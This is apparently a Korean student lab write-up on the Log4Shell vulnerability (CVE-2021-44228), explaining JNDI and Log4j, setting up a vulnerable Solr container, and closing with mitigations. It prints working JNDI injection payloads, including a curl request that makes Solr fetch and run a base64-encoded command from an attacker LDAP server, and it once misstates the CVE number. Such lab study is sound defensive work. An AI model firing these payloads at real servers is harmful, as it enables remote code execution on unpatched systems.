[WHS]2주차 log4j CVE-2021-44228 분석(Vulnhub 한글화하기)
개요
이번 Write up 에서는 https://github.com/vulhub/vulhub Repository vulhub을 기반으로한 한국어 번역 및 컨텐츠 추가에대한 과제로 내가 선택한 취약점인 log4shell이라고 불리는 log4j의 취약점인 CVE-2021-33228에 대해 작업을 진행했습니다.
Contributors
github repository
- #TODO
| 정보 | 설명 |
|---|---|
| 이름 | Log4shell(CVE-2021-44228) |
| 심각도 | 심각 |
| CVSS | 10.0 |
| CVSS String | 10.0 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H |
Log4shell이란
JNDI
우선 JNDI(Java Naming and Directory Interface)는 클라이언트나 서버에서 제공하는 데이터 및 객체를 lookup하기 위한 자바 API다. 쉽게말해 연결하고 싶은 데이터베이스의 DB Pool을 미리 Naming 시켜주는 방법중에 하나이다. WAS의 데이터베이스 정보에 JNDI를 설정해 놓으면 웹 애플리케이션은 JNDI만 호출하면 간단하게 데이터를 전달할 수 있다.
따라서 LDAP서버에서 JNDI를 이용해 디렉토리 서비스에 연결하고 객체를 가져와 보내기위해 사용할 것이다.
Log4j
Log4j는 로그에 대한 라이브러리이다. 그냥 기본적인 log기능으로 대체하면 되지 않나 싶지만. Log4j는 로그를 포맷팅, 필터링이 가능하고, 어플리케이션의 파일로 이를 기억하는것 이외에도 정말 유용한 기능들이 있기에 개발자 에게는 매우 좋은 라이브러리이다.
Log4shell
Log4shell의 취약점은 log4j의 lookup기능중 JNDI looup기능을 지원으로 발생한 취약점이다.log4j가 로깅을 하는 부분에서 $(jndi:ldap:[LDAP_IP])와같은 메세지를 남기면 해당 서버에 접속해 객체를 참조하게되는데, 즉 해당 서버에 명령어를 입력하는 객체를 참조하게 될 경우 RCE취약점이 발생되므로 굉장히 위험한 공격이다. 추가로 더해서 로깅을 하는 부분은 로그인, 사용자이름, 와이파이이름 등 사용하기 나름대로 정말 다양해 사용자이름을 바꾸던가, 와이파이이름을 바꾸는 것만으로도 취약점 공격이 가능하다는 점에서 굉장히 파급력이 크다.
log4j는 2015년 Oracle에 따르면 Java는 130억개의 기기에서 구동중이다. 이렇게 많이 사용하는 만큼 애플, 텐센트, 아마존, 테슬라, 클라우드플레어, 스팀, 마인크래프트, 구글, github 등 정말 많은 대기업들이 이 Log4shell취약점에 노출되어있었다.
결론적으로 log4shell은 당시 해당 취약점이 있는 log4j를 사용중인 회사는 굉장히 많고, 공격하기도 굉장히 쉽고, 효과도 엄청난 Zero-day 취약점이라는것이다.
실습
실습환경 구축
실습환경으로는 docker로 구축을 할것이다.
| Attacker | Victim |
|---|---|
| Ubuntu:latest | solr:8.11.0 |
docker hub에서 2개의 image들을 pull한다.
1
2
$ docker pull vulhub/solr:8.11.0
$ docker pull antimony02/log4shell_jndi
여기서 vulhub/solr:8.11.0은 log4shell 취약점이 있는 Victim서버이고, antimony02/log4shell_jndi는 악성 Class 파일을 다운로드 할 수 있도록 설계된 LDAP서버이다. 이것을 이용해 log4shell 공격으로 solr서버를 공격할 것이다.
docker pull이 완료된 이후에 docekr compose up -d로 컨테이너를 실행시켜준다. 컨테이너를 끌때는 docker compose down을 하면 된다. 실행을 완료한 후에 Attacker 컨테이너의 log를 확인해 LDAP서버도 제대로 열렸는지와 해당 서버의 IP를 확인한다.
1
2
$ docker ps # 컨테이너 ID확인
$ docker logs ID
여기까지 오류없이 잘 작동이 됐으면 환경 구축은 완료했다.
Log4shell 공격
log4shell취약점은 로깅을 하는데에서 발생하므로 어떤부분에서 로깅이 발생하는지 살펴봐야한다. 간단히 말해서 ${jndi:dns://${sys:java.version}.example.com} 이 JNDI쿼리를 트리거할 수 있는 부분에 이 페이로드를 넣어야한다.
vulnhub에서는 /solr/admin/cores?action=${jndi:dns://${sys:java.version}.example.com}
이경로를 통해 페이로드를 삽입하겠다.
1
curl 'http://127.0.0.1:8983/solr/admin/cores?action=$\{jndi:ldap://{LDAP_IP}:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9oYWNrZWQ=\}'
이 LDAP경로는 dG91Y2ggL3RtcC9oYWNrZWQ=뒤쪽 base64로 인코딩된 문자열을 base64로 디코딩한 뒤 RCE를 날린다.
예시로 touch /tmp/hacked를 base64로 인코딩해 넣어줘 파일이 제대로 생성이 되는지 확인하겠다.
요청은 제대로 간것을 확인했다.
1
2023-10-31 22:20:45 2023-10-31 13:20:44.903 INFO (qtp860481979-20) [ ] o.a.s.s.HttpSolrCall [admin] webapp=null path=/admin/cores params={asdf=${jndi:ldap://192.168.80.3:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9oYWNrZWQ%3D}} status=0 QTime=0
두 서버모두 요청이 제대로 잘 전달이 된것을 확인했고, 정말 /tmp/hacked 가 만들어졌는지 확인해보겠다. 확인하는 방법으로는 터미널에서 docker exec -it victim_comtainer_ID /bin/bash를 통해 직접 접속해 확인할 수 있다. 나는 docker desktop에서 확인해봤다.
잘 생성이 되었으므로 Log4shell 취약점 공격에 성공했다.
대응방안
해당 취약점을 막기위해서는 log4shell 취약점이 있는 버전의 log4j를 사용을 하지 않는것이다.
Log4shell 영향을 받는 버전
- Log4 2.0-beta9 ~ 2.14.1 이하 버전
- Log4j 2.0-beta9 ~ 2.15.0 이하 버전
- Log4j 1.x 버전
만약 어쩔 수 없는 이유로 해당 버전들을 사용할 경우에는 log4j의 JNDI LookUp을 비활성화 하고, 공격자가 알 수 없는 형태의 파라미터로 로그를 남기고, log4j를 사용하는 시스템에서 LDAP등 JNDI앤드 포인트와 통신이 불가능 할경우에 해당 취약점을 막을 수 있다.
Reference
[CVE-2021-44228]log4j 실습 - https://lead-earthquake-61f.notion.site/CVE-2021-44228-Log4J-a8ce8189a0da48c68e2645dcd949ceb1
Youtube_노마드코더 - https://www.youtube.com/watch?v=kwS3twdVsko&t=281s
vulbuh - https://github.com/vulhub/vulhub/tree/master/log4j/CVE-2021-44228